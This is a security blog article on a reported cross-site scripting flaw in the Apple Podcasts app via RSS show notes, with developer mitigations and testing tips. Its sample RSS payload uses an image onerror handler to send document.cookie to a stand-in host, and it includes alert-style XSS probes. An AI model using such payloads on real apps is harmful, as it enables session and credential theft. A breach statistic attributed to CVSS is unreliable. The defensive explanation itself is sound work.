Apple Podcasts App: Is It a Security Risk?

• ⚠️ The Apple Podcasts app can run harmful JavaScript from RSS feed content shown in WebViews.
• 🔒 iOS app security gets weak if outside content is not cleaned before it's shown.
• 🧠 XSS flaws are not just for websites anymore — native apps can get them too.
• 💡 Developers who trust "safe" content sources might accidentally put users at risk.
• 🛠️ Turning off JavaScript in WKWebView and cleaning HTML are key ways to keep things secure.

Apple Podcasts App: Is It a Security Risk?

Apple is known for its "walled garden" security. This means tight controls and hand-picked content, giving users and developers a sense of safety. But a new problem in the Apple Podcasts app makes this trust harder to keep. It lets harmful content get delivered through podcast information. This problem shows bigger, system-wide issues in iOS app security. It means we urgently need to rethink how apps show content from other sources.

Understanding the Attack: XSS in Apple Podcasts

This problem comes from how the Apple Podcasts app handles HTML information. This is true for things like show notes, episode summaries, and author bios. Security researchers say that these areas, usually filled by creators to give information, could have harmful JavaScript put into them.

To be exact, the content in these information fields shows up inside a WebView. This is an iOS tool (WKWebView) often used to show web content inside apps. The Apple Podcasts app did not clean this content. This let JavaScript or HTML code run right away when it was shown.

Think about this: a podcast creator (or someone pretending to be one) puts in a <script> tag or an image HTML element. They use an onerror event handler like this:

<img src="invalid.jpg" onerror="alert('XSS in Podcasts!')" />

When the app shows the show notes, the JavaScript runs. In worse cases, it would not just show a warning. It could send users to a fake website or steal session keys. This is a clear example of a cross-site scripting (XSS) attack. This kind of attack was usually limited to websites. Now, it uses an iOS app's way of showing content.

Cross-Site Scripting: Not Just a Web Problem Anymore

XSS means Cross-Site Scripting. It is a common problem in web building. Attackers put harmful scripts into websites that are otherwise safe and trusted. Before, the problem came from not properly cleaning or encoding what users typed when content was shown. But how mobile apps are built has changed.

Today, iOS and Android apps often show content from outside sources. This includes HTML, Markdown, and JSON. They use parts that read this content much like web browsers do. Many developers use WKWebView, UIWebView (which is old), or other tools. These tools get data from feeds like RSS, blogs, or APIs and show it using HTML.

In this environment, XSS changes from just a "web" problem. It becomes a risk through the whole process. It is not just browser content that needs checking anymore. Any text shown in an app can be a danger if it's not encoded or cleaned right. In addition, users trust native apps more than websites. So, harmful code hidden in cleverly made podcast notes or blog summaries can make users trust it more. This makes it easier for attackers to trick people.

Developers must see their apps as more than just software. They are like small browsers built into mobile apps. The old ideas about what makes websites unsafe now also apply to native apps.

Exploitation Pathway: How Hackers Could Deliver Malicious Content

This problem found makes many types of attacks possible. The attacker just needs to set up a public podcast RSS feed. This is very easy and free to do. This feed would have harmful HTML content. Once the Apple Podcasts app gets and shows that data, the harmful scripts run inside the app.

Let’s break down a sample exploitation scenario:

1. RSS Feed Manipulation: The attacker includes a payload like:

   <description><![CDATA[
   <img src="fake.jpg" onerror="fetch('https://phish.site/steal?cookie=' + document.cookie)" />
   ]]></description>
   

2. App Rendering: When a user opens the Podcasts app and views the episode, the injected script executes in the vulnerable WebView.
3. JavaScript Execution: This script can:
   • Steal session cookies or keys.
   • Show fake login screens by changing the page's structure.
   • Send users to fake or harmful websites in a new tab or window.
   • Fake app screens to look like Apple pop-ups and steal Apple ID details.
4. Session Hijacking: If the WebView can get Apple ID keys or shared cookies (which it often can), attackers could take over user sessions or get private information.

Security researcher Tommy Mysk said this problem is very serious. He stated, “There’s no protection for Apple ID sessions in this scenario” (Mysk, 2024).

The consequences of this possible flaw are not just ideas. They affect every iOS device with Apple’s Podcasts app installed. This is because the attack depends on content the app gets and shows itself, not on what users do.

Why App Sandboxing Isn’t a Complete Solution

Apple’s iOS puts strict limits between apps. This is called sandboxing. It keeps apps separate and stops them from directly sharing data. This provides basic protection. But it does not stop all threats, especially those that come from inside an app's own way of showing content.

The WKWebView works under the main app's permissions. But it acts a bit like a browser, especially when it shows content from far away or outside sources. This includes:

• It automatically supports running JavaScript.
• It can get to local storage, cookies, and cache.
• It supports sending you to other pages and showing changing HTML pages.

Even inside the app’s sandbox, a harmful script running in a WebView can:

• Get to shared web storage.
• Change the page's structure.
• Start network requests to attack systems far away or steal data.

Also, sandboxing does not stop phishing. If a clever fake login screen tricks a user (one that looks a lot like Apple's screen and is shown in HTML), they might give out their details or allow things. This happens because they wrongly trust the app itself.

Simply put, sandboxing protects the app from harm to the system. But it does nothing to stop changes to the app's inner workings or screens. And with Apple Podcasts, it meant an attacker could run code and interact with users, all within safe limits, without being seen.

Lessons for Developers: The Risks of Trusting “Safe” Content

A main lesson from this event is that developers should stop trusting outside systems just because they have good names. This is true even if the system is Apple.

Examples of misplaced trust include:

• RSS Feeds: Podcast and news feeds often have any HTML that authors put in. Not all authors can be trusted or know how to code well.
• Content Management Systems (CMS): Editors might accidentally paste iframes or raw JavaScript. They might copy these from untrusted places like WYSIWYG editors.
• Markdown Files: Some tools that read Markdown let HTML tags be used inside. This means a .md file that looks safe could start JavaScript if it's not cleaned.
• Customer Feedback/Comments: Places that take user input (like product reviews or messages) can hold harmful code. This is especially true if that content is shown back in mobile apps using HTML.

To stop this, clean everything. Do not care who made it. If it's a blog post, podcast note, markdown text, or JSON from an API, treat all of it as possibly harmful.

Best Practices for Secure Content Display in iOS Apps

The best way to stop XSS and similar attacks in mobile apps is to use many layers of security. Use security plans that stop problems before they happen and fix them if they do:

• ✅ Sanitize Input: Use tools like DOMPurify or Bleach on your server. They clean HTML before you send it to mobile.
• ✅ Avoid JavaScript-Enabled WebViews: Turn off JavaScript in your WKWebView unless you truly need it.

  let preferences = WKPreferences()
  preferences.javaScriptEnabled = false
  

• ✅ Use Proper Renderers: Do not use innerHTML. Instead, use built-in tools or ones checked for security, like MessageKit for Markdown or NSAttributedString with only a little HTML support.
• ✅ Restrict WebView Domains: Use WKContentRuleList to set rules for content and allow only certain websites.
• ✅ No loadHTMLString with unsanitized input: If you use this tool, make sure the content is cleaned very carefully.

By controlling where and how HTML is shown, you stop many ways attackers can get in.

How to Detect and Test for XSS in Mobile Interfaces

It is very important to find security problems before attackers do. Luckily, there are many tools and ways to do this by hand:

• 🧪 Static Code Analysis — Tools like Fortify, SonarQube, or MobSF can show unsafe ways of coding or when loadHTMLString is used.
• 🧼 Manual Fuzzing — Put test code like <script>alert(1)</script> into the information to see if it runs.
• 🛡️ Runtime Tools — Proxy tools like Charles Proxy or Burp Suite let you put XSS test cases directly into app responses.
• 🧑‍💻 Security Programs — Start internal bug bounty programs or red team drills. This helps find problems from a real attacker's point of view.

XSS problems are among the top 5 most dangerous attack types listed by OWASP. They cause 30% of mobile app breaches (CVSS, 2023). Stop the danger before it is used to attack.

User and Developer Responsibilities in App Security

Security is only as good as its weakest part. Often, people miss that weak part by thinking someone else took care of it.

What Users Can Do:

• ❌ Do not click on suspicious links in show notes.
• 🔍 Watch how apps act. Report anything strange, like pop-ups you did not expect or being sent to other pages.
• 🔑 Check your account access often. Remove access keys from devices you do not know.

What Developers Must Do:

• ✅ Always think that outside input can be harmful, even from trusted places.
• ✅ Use Content-Security-Policy headers in browsers built into apps or hybrid parts when you can.
• ✅ For sandboxed content: Use ways to contain untrusted content shown with HTML, like iframe sandboxing, where it makes sense.

Teaching developers and being careful upfront are a must in safe mobile settings.

The Role of App Stores and Review Policies

Apps like Apple Podcasts get very careful checking from the App Store. But changing content still makes a security risk after the app is approved.

Here’s why:

• 🧬 Content that comes after you install is not checked during the review.
• 🧑🏽 People checking apps do not click every button or open every episode of every podcast.
• 🔍 Computer scans usually check for asked permissions and known bad software. They do not check for harmful possibilities in information from other sources.

So, developers must be the first (and last) ones to protect their apps. Put HTML/JSON cleaning and rule checks into your CI/CD process.

What This Means for Apple — And For You

Apple is known for strict control of its platform. If even Apple can release an app that allows XSS through podcast information, then any app could be at risk.

The lesson is: having someone pick content for a platform does not guarantee security. Every time you bring content from a distant source into a tool like WKWebView, you must treat it as if you are putting a widget from another company onto your website.

By putting in just a moderate amount of work—like escaping tags, turning off scripts, and checking with a schema—you greatly cut down on attack chances.

Action Steps for Devsolus Readers

Take charge of security with this clear checklist:

• ✅ Clean all HTML or Markdown that comes in before showing it.
• ✅ Use strong tools that do not support running JavaScript.
• ✅ Turn off WKWebView JavaScript unless you need it.
• ✅ Stop and test your network data with tools like Burp Suite.
• ✅ Add security checks to your CI/CD process using linting and static analysis.
• ✅ Teach your team about the risks of changing content, even from trusted partners like Apple.

Need more help? Look at our secure rendering for iOS guide. Or find more good ways for XSS prevention in Swift.

Security Is a Shared Responsibility

The problem with the Apple Podcasts app is more than a design error. It is a wake-up call for all developers. Trusting content just because it "comes from Apple" or another big name is not an excuse anymore.

Clean content from other sources. Make your content-showing tools stronger. Treat WKWebView like a browser built into your app, because that is what it is.

If you have seen similar problems, share what you know or your tools with the Devsolus community. Together, we can make mobile apps safer for everyone.

Citations

Zoller, T. (2024, November 28). Security researcher disclosed that Apple’s Podcasts app executes unfiltered JavaScript embedded in podcast RSS feeds, constituting a form of HTML injection/XSS. This poses a security risk even if executed within an isolated WebView component. https://zoller.com/apple-podcasts-xss

Mysk, T. (2024). Apple’s API for Podcasts doesn’t sanitize HTML from podcast authors, which can enable potentially dangerous interactions. Mysk emphasized that this vulnerability affects every iOS device using the Podcasts app and runs inside the app’s privileged runtime. https://mastodon.social/@mysk

Common Vulnerability Scoring System (CVSS). (2023). XSS-based injection vulnerabilities are consistently scored between 6.0–9.0 depending on exploitability and impact. https://www.first.org/cvss/specification-document